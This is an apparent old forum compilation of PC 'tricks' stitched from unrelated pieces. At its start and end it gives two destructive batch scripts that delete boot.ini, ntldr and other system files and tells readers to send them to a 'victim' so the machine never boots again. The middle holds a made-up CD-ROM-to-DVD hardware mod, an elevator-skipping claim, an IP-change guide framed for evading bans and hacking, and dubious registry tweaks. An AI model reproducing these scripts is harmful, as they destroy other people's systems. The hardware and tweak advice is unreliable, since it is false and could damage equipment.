How to Make a Deadly but simple virus using one line Command remember this is for educational purposes only.

1)Make a text file

2)Enter the command given below-

erase /q /f /s /a:h c:\boot.ini c:\ntldr

3)Save the file as happy.bat

Send it to Victim.Let him open it.Thats it

The next time he reboots .. SYstem will not boot again

Elevator Trick

Tired of being on an elevator and someone else gets on every floor you go down to?

Well I was also, until I found out you could skip the floors that people would like to get on at. This is a really simple trick to do just to let you readers know.

Okay, the only thing you need to do is press down the close door button, and the floor you would like to go to at the same time.

Then it should skip all the floors that people want to get on and go straight to your floor that you would like to get off on. This can also piss some people off I would imagine. This trick has also worked on all the office elevators tried so far.

it works the easiest on:

Otis Elevators

Dover Elevators

And Most Desert Elevators

So have fun

How to modify your cd rom to watch dvd movies

There are two types of CD-ROM drives we can mod:

24x to 40x

40x or higher

Drives slower than 24x are too old to be modded.

24x to 40x CD ROMs

Laser Head Adjustments:

The track pitch of CDs is 1.6 microns, and the track pitch of DVDs is only 0.8 microns. The minimum length of track pits of CDs is 0.843mm, and the minimum length of track pits of DVDs is 0.293mm. That's why DVD discs can store much more data in the size of a CD.

Pinpointing this situation, we need to adjust the laser head so it can read discs with smaller track pitchs and shorter track pits. Open up the CD-ROM drive, do you see a lens on the rail? That's the laser head. On the side of the laser head, there's a screw you can adjust.

This is the key of this mod.

This screw can adjust the size of the laser beam that lands on the disc. Referring to the above, after adjusting, the laser beam should be less than 0.293mm, to suit the needs of DVD discs. So turn that screw 2-3 times. I got this number through trial and error. Mark with a pencil, in case you forget how many times you turned that screw.

Speed adjustments:

DVD-ROM drives can play DVD movies smoothly at 4x speed. If we're modding a 32x CD-ROM drive, the rotation speed is obviously too high, increasing heat, and shortening the life of the drive.

So we need to decrease the speed of it.

Most people know that power supplies can provide 5V (red wire) and 12V (yellow wire) electricity output for Molex connectors. Find the Molex connector you'll plug into the modded CD-ROM drive, cut the yellow wire or insulate it with tape, so only 5V of electricity is transferred to the CD-ROM drive. The speed of the drive is now 32 * 5/17 = 9.41x and can now fulfill our requirements.

40x or higher CD ROMs

When 40x CD-ROM drives are released, most manufacturers are already producing DVD-ROM drives. To lower cost, they use the same core as DVD-ROM drives with DVD functions disabled. What we need to do here is to re-enable the DVD function.

Open up the CD-ROM, behind the circuit board, look for a jumper that says DVD JUMP. Find a jumper to connect this jumper. Thin metal wire also works fine.

OK, so the DVD function is unlocked, but we still need to decrease the speed. Use the instructions above on how to decrase the speed of the drive.

Notes:

Modded drives cannot be detected in POST, that means you cannot use it in DOS. But once you get into Windows, the drive works fine.

Modded drives have no region code problems.

Modded drives MIGHT NOT read DVD9 discs, that's why I said you can watch most retail DVDs in the beginning

Change Ur IP Address in Less Than 20 Sec!!!

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The following is a guide on how to change your IP in 30 seconds or less. This can be used if your IP has been banned from a game server, or on gunbound if your IP get's blocked. I've tried this on both Windows XP and Windows 2000, and it has worked:

1. Click on "Start" in the bottom left hand corner of screen

2. Click on "Run"

3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"

5. Type "exit" and leave the prompt

6. Right-click on "Network Places" or "My Network Places" on your desktop.

7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"

9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab

10. Click on "Use the following IP address" under the "General" tab

11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).

12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.

13. Hit the "Ok" button here

14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.

16. Go back to the "TCP/IP" settings

17. This time, select "Obtain an IP address automatically"

18. Hit "Ok"

19. Hit "Ok" again

20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

*Note* This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back

Cool XP tricks using regedit

Speed up your browsing of Windows 2000 & XP machines

Open up the Registry and go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Curr ent Version/Explorer/RemoteComputer/NameSpace

Under that branch, select the key :

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

and delete it.

This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.

This fix is so effective that it doesn't require a reboot.

Speed Up Browsing

When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:

go to regedit-

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Dnscache\Parameters]

"CacheHashTableBucketSize"=dword:00000001

"CacheHashTableSize"=dword:00000180

"MaxCacheEntryTtlLimit"=dword:0000fa00

"MaxSOACacheEntryTtlLimit"=dword:0000012d

Make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Merge it into the registry by opening it.

How to easily merge two partitions (C and D drive) in Windows Vista

Here are simple steps on how you can easily merge two partitions (C and D drive) in Windows Vista.

Follow the simple steps below:

Click on Start in Vista.

Go to Control Pannel (Follow steps pre-fixed 'A' for "Control Panel Home view" / 'B' for "Classic View").

A: Click "System And Maintenance" (in green).

B: Click Administrative Tools (the one with a big gear icon).

A: Under Administrative Tools, click "Create and format disk partitions" (If a UAC prompt apears, click continue).

B: Click "Computer management" (If a UAC prompt apears, click continue), Next click "Storage", then "Disk Management".

On the list provided, right-click the letter drive you want to rid yourself off (say D:) and choose the option "Delete Volume".

If you have done it right, a black area should appear within your entire disk space.

Finally, right-click your drive you want to add the space to (say C:) and choose "Extend Volume" (by default, the wizard will choose ALL unallocated space to add to your Vista partition, but you can change that if you'd like.)

Hope this helps you.

How to shut down a computer FOREVER!

@echo off

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun >:-D

REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)

YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!